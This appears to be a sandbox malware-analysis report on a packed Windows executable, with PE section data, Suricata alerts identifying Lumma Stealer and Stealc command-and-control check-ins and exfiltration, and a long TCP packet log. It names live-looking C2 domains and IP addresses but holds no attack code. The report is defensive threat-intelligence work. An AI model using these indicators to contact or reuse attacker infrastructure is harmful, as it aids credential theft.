add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	0eceb9db59c1d158ec62cee8470d5d9e	False	0.997337863869863	data	7.980521731479368	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x29b000	0x200	f2f1daeee474970bd8d28d777b259940	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xggnqxoz	0x2ef000	0x197000	0x196800	921fd1db74d02df490b5ead4f4ca7398	False	0.9950331046279213	data	7.9533584427282955	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qpltxtjh	0x486000	0x1000	0x400	e53f4f4ce50da00d2b3e8398ebaf1b34	False	0.7451171875	data	5.900880642952053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x487000	0x3000	0x2200	2fb8e8dae4a4743c0aa550c9c0f3b858	False	0.06652113970588236	DOS executable (COM)	0.7695798916635026	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T16:53:05.354443+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.5	50834	1.1.1.1	53	UDP
2024-12-20T16:53:05.588267+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.5	62707	1.1.1.1	53	UDP
2024-12-20T16:53:05.729652+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.5	62901	1.1.1.1	53	UDP
2024-12-20T16:53:07.096276+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:07.096276+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:07.930068+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:07.930068+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.197.170	443	TCP
2024-12-20T16:53:09.171759+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:09.171759+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:10.072337+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:10.072337+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.197.170	443	TCP
2024-12-20T16:53:11.755854+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49706	172.67.197.170	443	TCP
2024-12-20T16:53:11.755854+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.197.170	443	TCP
2024-12-20T16:53:14.710455+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49707	172.67.197.170	443	TCP
2024-12-20T16:53:14.710455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.197.170	443	TCP
2024-12-20T16:53:17.063881+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49708	172.67.197.170	443	TCP
2024-12-20T16:53:17.063881+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.197.170	443	TCP
2024-12-20T16:53:19.845455+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49710	172.67.197.170	443	TCP
2024-12-20T16:53:19.845455+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	172.67.197.170	443	TCP
2024-12-20T16:53:21.384761+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49710	172.67.197.170	443	TCP
2024-12-20T16:53:23.245594+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49719	172.67.197.170	443	TCP
2024-12-20T16:53:23.245594+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49719	172.67.197.170	443	TCP
2024-12-20T16:53:23.255674+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49719	172.67.197.170	443	TCP
2024-12-20T16:53:26.914392+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.5	49732	172.67.197.170	443	TCP
2024-12-20T16:53:26.914392+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49732	172.67.197.170	443	TCP
2024-12-20T16:53:27.753242+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49732	172.67.197.170	443	TCP
2024-12-20T16:53:29.220535+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49739	185.215.113.16	80	TCP
2024-12-20T16:53:44.453273+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49774	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:53:05.873127937 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:05.873181105 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:05.873255014 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:05.874490976 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:05.874505997 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.096198082 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.096276045 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.101543903 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.101578951 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.101933956 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.156119108 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.164889097 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.164917946 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.165050983 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.930073023 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.930175066 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.930376053 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.931822062 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.931874990 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.931910992 CET	49704	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.931926966 CET	443	49704	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.940697908 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.940754890 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:07.940838099 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.941126108 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:07.941148996 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:09.171643972 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:09.171758890 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:09.215234041 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:09.215256929 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:09.215612888 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:09.224286079 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:09.224318981 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:09.224390030 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.072329998 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.072411060 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.072510004 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.072535992 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.072757006 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.072870016 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.072875977 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.080754995 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.080848932 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.080856085 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.089293957 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.089396000 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.089422941 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.140487909 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.140516996 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.187330008 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.192756891 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.234314919 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.234343052 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.267762899 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.267848015 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.267865896 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.267983913 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.268040895 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.268116951 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.268130064 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.268141031 CET	49705	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.268146038 CET	443	49705	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.539794922 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.539839029 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:10.539928913 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.540241957 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:10.540252924 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:11.755781889 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:11.755853891 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:11.757287979 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:11.757299900 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:11.757589102 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:11.758727074 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:11.759474993 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:11.759510040 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:12.953838110 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:12.953990936 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:12.954087973 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:12.954279900 CET	49706	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:12.954323053 CET	443	49706	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:13.496272087 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:13.496320009 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:13.496433973 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:13.496711969 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:13.496723890 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:14.710269928 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:14.710454941 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:14.761272907 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:14.761338949 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:14.761648893 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:14.763639927 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:14.763813019 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:14.763860941 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:14.763911963 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:14.763917923 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:15.649178982 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:15.649281979 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:15.649370909 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:15.651108980 CET	49707	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:15.651139975 CET	443	49707	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:15.840023041 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:15.840063095 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:15.840240955 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:15.840466022 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:15.840478897 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:17.063786983 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:17.063880920 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:17.065212011 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:17.065222979 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:17.065464973 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:17.066714048 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:17.066890001 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:17.066924095 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:17.066991091 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:17.066999912 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:18.363503933 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:18.363600969 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:18.363655090 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:18.363863945 CET	49708	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:18.363884926 CET	443	49708	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:18.631381035 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:18.631431103 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:18.631517887 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:18.631833076 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:18.631849051 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:19.845366955 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:19.845454931 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:19.846659899 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:19.846671104 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:19.846911907 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:19.848294020 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:19.848401070 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:19.848406076 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:21.384768009 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:21.384886026 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:21.384946108 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:21.389703989 CET	49710	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:21.389734983 CET	443	49710	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:22.014733076 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:22.014787912 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:22.014854908 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:22.015475035 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:22.015491009 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.245513916 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.245594025 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.246853113 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.246860981 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.247132063 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.254498959 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255244970 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255285025 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.255345106 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255397081 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255423069 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.255503893 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255558968 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255588055 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.255718946 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255769014 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.255913973 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.255944967 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.256098032 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.256133080 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.256145954 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.256160021 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.256275892 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.256309032 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.256331921 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.256481886 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.256520033 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.299326897 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.299504042 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.299546003 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.299580097 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.343341112 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:23.343413115 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.374794006 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:23.374803066 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:25.672184944 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:25.672426939 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:25.672808886 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:25.672867060 CET	49719	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:25.672885895 CET	443	49719	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:25.697833061 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:25.697870970 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:25.697981119 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:25.698314905 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:25.698331118 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:26.914299011 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:26.914391994 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:26.915776014 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:26.915788889 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:26.916027069 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:26.917351007 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:26.917351007 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:26.917432070 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:27.753235102 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:27.753319979 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:27.753407955 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:27.753644943 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:27.753654003 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:27.753664017 CET	49732	443	192.168.2.5	172.67.197.170
Dec 20, 2024 16:53:27.753679037 CET	443	49732	172.67.197.170	192.168.2.5
Dec 20, 2024 16:53:27.756812096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:27.876337051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:27.876456022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:27.876632929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:27.996231079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220216036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220277071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220298052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220535040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.220562935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220582962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220603943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220622063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220622063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.220642090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.220680952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.220700979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.221084118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.221100092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.221157074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.340259075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.340293884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.340475082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.415159941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.415201902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.415355921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.419392109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.420790911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.420886040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.420903921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.429121971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.429265022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.429271936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.437601089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.437663078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.437680960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:29.446018934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:29.446093082 CET	49739	80	192.168.2.5	185.215.113.16
